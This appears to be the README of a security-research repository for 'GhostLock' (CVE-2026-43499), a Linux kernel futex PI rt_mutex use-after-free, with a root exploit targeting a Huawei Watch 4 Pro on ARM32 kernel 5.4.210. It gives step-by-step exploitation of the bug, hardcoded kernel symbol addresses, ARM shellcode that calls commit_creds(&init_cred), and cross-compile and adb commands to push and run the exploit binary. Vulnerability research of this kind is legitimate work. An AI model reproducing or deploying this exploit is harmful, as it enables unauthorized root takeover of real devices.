
CVE-2026-43499 (GhostLock) — بحث تصعيد الامتيازات لثغرة Linux kernel futex PI rt_mutex UAF على ARM32 يستهدف ساعة Huawei Watch 4 Pro (kernel 5.4.210)
بحث في ثغرة Use-After-Free في rt_mutex الخاص بـ futex PI في نواة Linux وتطوير استغلال يستهدف Huawei Watch 4 Pro (MDS-AL00)، Snapdragon SW5100، armv7l، النواة 5.4.210.
تستخدم remove_waiter() في kernel/locking/rt_mutex.c بشكل خاطئ current بدلاً من waiter->task أثناء التراجع عن proxy-lock، مما يفشل في مسح pi_blocked_on في مهمة المنتظر. يؤدي هذا إلى ترك مؤشر معلّق من task_struct إلى rt_mutex_waiter المخصص على المكدس بعد تحرير إطار مكدس النواة الخاص بالمنتظر — وهو Use-After-Free كلاسيكي على المكدس.
futex(FUTEX_CMP_REQUEUE_PI) عبر ثلاثة خيوط؛ يشير pi_blocked_on الخاص بالمنتظر إلى مكدس محرَّر.prctl(PR_SET_NAME) (الخيار 15، بدون صلاحيات) لنسخ 15 بايت من البيانات المتحكَّم بها إلى مكدس النواة، مما يستبدل حقول task/lock/prio الخاصة بالمنتظر المزيف.sched_setattr() اجتياز سلسلة PI؛ يتم إدراج المنتظر المزيف في rt_mutex مزوّر يتداخل مع بنية file_operations في النواة. تؤدي إدراجة الشجرة الحمراء-السوداء إلى كتابة عنوان مكدس النواة الخاص بالمنتظر في fops->unlocked_ioctl.ioctl()، الذي يوجّه عبر مؤشر unlocked_ioctl المستبدل إلى الشيفرة على مكدس النواة القابل للتنفيذ.commit_creds(waiter) حيث تشكّل الحقول الأولى للمنتظر (المضبوطة بواسطة rb_insert_color) بنية struct cred مزيفة مع uid/gid = 0.fops->unlocked_ioctl بعنوان مكدس المنتظر)ioctl(null_fd, IOCTL_CMD, 0) إلى الشيفرة -> commit_creds(&init_cred) -> صدفة الجذر)| الخاصية | القيمة |
|---|---|
| الجهاز | Huawei Watch 4 Pro (MDS-AL00) |
| SoC | Snapdragon SW5100 (Cortex-A7، armv7l) |
| النواة | 5.4.210 (ARM 32-بت) |
| KASLR | معطّل |
| PAN/SMAP | غير موجود |
| PXN | غائب على 0xc1b00000+ (المكدس/BSS قابل للتنفيذ) |
| CFI/PAC | غير موجود |
kernel base 0xC0008000
syscall table 0xc0101264
do_vfs_ioctl 0xc031c0ec (fops->unlocked_ioctl call at 0xc031c8a0)
commit_creds 0xc014c898 (true commit_creds entry)
override_creds 0xc014cac8 (leaf helper immediately following commit_creds)
rt_mutex_enqueue 0xc019c660
rb_insert_color 0xc104a918
init_task 0xc1b11640
init_cred 0xc1b17e60
null_fops (/dev/null) 0xc141f5b0
FAKE_LOCK 0xc141f5d4 (null_fops + 0x24)
write target 0xc141f5d8 (null_fops + 0x28 = unlocked_ioctl)
IOCTL_CMD 0x01B17E60 (INIT_CRED + 0x40000000)
.
├── README.md # Project documentation
├── boot.img # Target device boot image (32 MB)
├── exploit/
│ ├── ghostlock_arm32.c # Main ARM32 exploit source
│ ├── ghostlock_arm32.h # Exploit definitions header
│ ├── ghostlock_arm32 # Compiled static ARM binary
│ ├── ghostlock_poc1.c # Initial crash POC
│ ├── nebula_poc.c # Nebula team reference POC
│ └── variants/ # Research exploit variants & performance tests
│ ├── ghostlock_v11_kgsl_preadv2.c
│ ├── ghostlock_v6a_kgsl_getdents64.c
│ ├── ghostlock_v7_clock_adjtime.c
│ └── ...
├── kernel/
│ ├── kernel_raw.bin # Uncompressed kernel binary (28 MB)
│ └── kallsyms_parsed.txt # Extracted kernel symbol table
├── analysis/ # Capstone/Keystone-based reverse engineering
│ ├── *.py # Disassembly and verification scripts
│ └── *.txt # Extracted tables and scan logs
├── references/
│ ├── ghostlock/ # Earlier exploit iterations & research notes
│ ├── ref_tc3650/ # TC3650 ARM32 reference materials
│ └── ref_oneplus_aarch64/ # OnePlus / Oppo AArch64 GhostLock references
└── tools/
└── fetch_missing.sh # Zig-based musl toolchain compilation script
باستخدام GCC أو Zig للترجمة المتقاطعة:
# Option A: GCC cross compiler
arm-linux-gnueabihf-gcc -static -O2 -o exploit/ghostlock_arm32 exploit/ghostlock_arm32.c -lpthread
# Option B: Zig compiler
zig cc -target arm-linux-musleabi -O2 -static -o exploit/ghostlock_arm32 exploit/ghostlock_arm32.c -lpthread
adb push exploit/ghostlock_arm32 /data/local/tmp/
adb shell chmod +x /data/local/tmp/ghostlock_arm32
adb shell /data/local/tmp/ghostlock_arm32
Shellcode ARM مستقل عن الموضع يُثبَّت عند waiter+0x18:
sub r0, r1, #0x40000000 @ r0 = ioctl cmd - 0x40000000 = &init_cred
ldr pc, [pc, #-4] @ jump to commit_creds
.word 0xc014c898 @ true commit_creds entry
ioctl(null_fd, cmd, arg) الاستدعاء f_op->unlocked_ioctl(filp, cmd, arg)، فإن السجل r1 يحتوي على الوسيط cmd.cmd = 0x01B17E60، فإن sub r0, r1, #0x40000000 (الترميز 0xe2410101، بدون بايتات صفرية) يحسب r0 = 0xc1b17e60 (&init_cred).commit_creds(&init_cred) بتثبيت بيانات اعتماد الجذر مع كامل الصلاحيات وسياق أمان SELinux نظيف، ويعود بشكل سليم إلى do_vfs_ioctl (lr = 0xc031c8c0).يحتوي struct file_operations في نواة هذا المورّد على حقل إضافي بحجم 4 بايت عند
الإزاحة +0x24 (بين poll وunlocked_ioctl)، مما يزيح جميع الأعضاء اللاحقة
بمقدار 4 بايت مقارنةً بنواة Linux 5.4 القياسية:
+0x04 llseek +0x20 poll
+0x08 read +0x24 <vendor extra>
+0x0c write +0x28 unlocked_ioctl
+0x10 read_iter +0x2c compat_ioctl
+0x14 write_iter +0x30 mmap
+0x18 iterate +0x38 open
+0x1c iterate_shared +0x40 release
تم التحقق من ذلك عبر تفكيك معالجات ashmem وnull fops.
هذا المستودع مخصص للبحث الأمني والتعليم فقط. لا تستخدم هذه التقنيات على أجهزة لا تملكها أو تفتقر إلى إذن لاختبارها.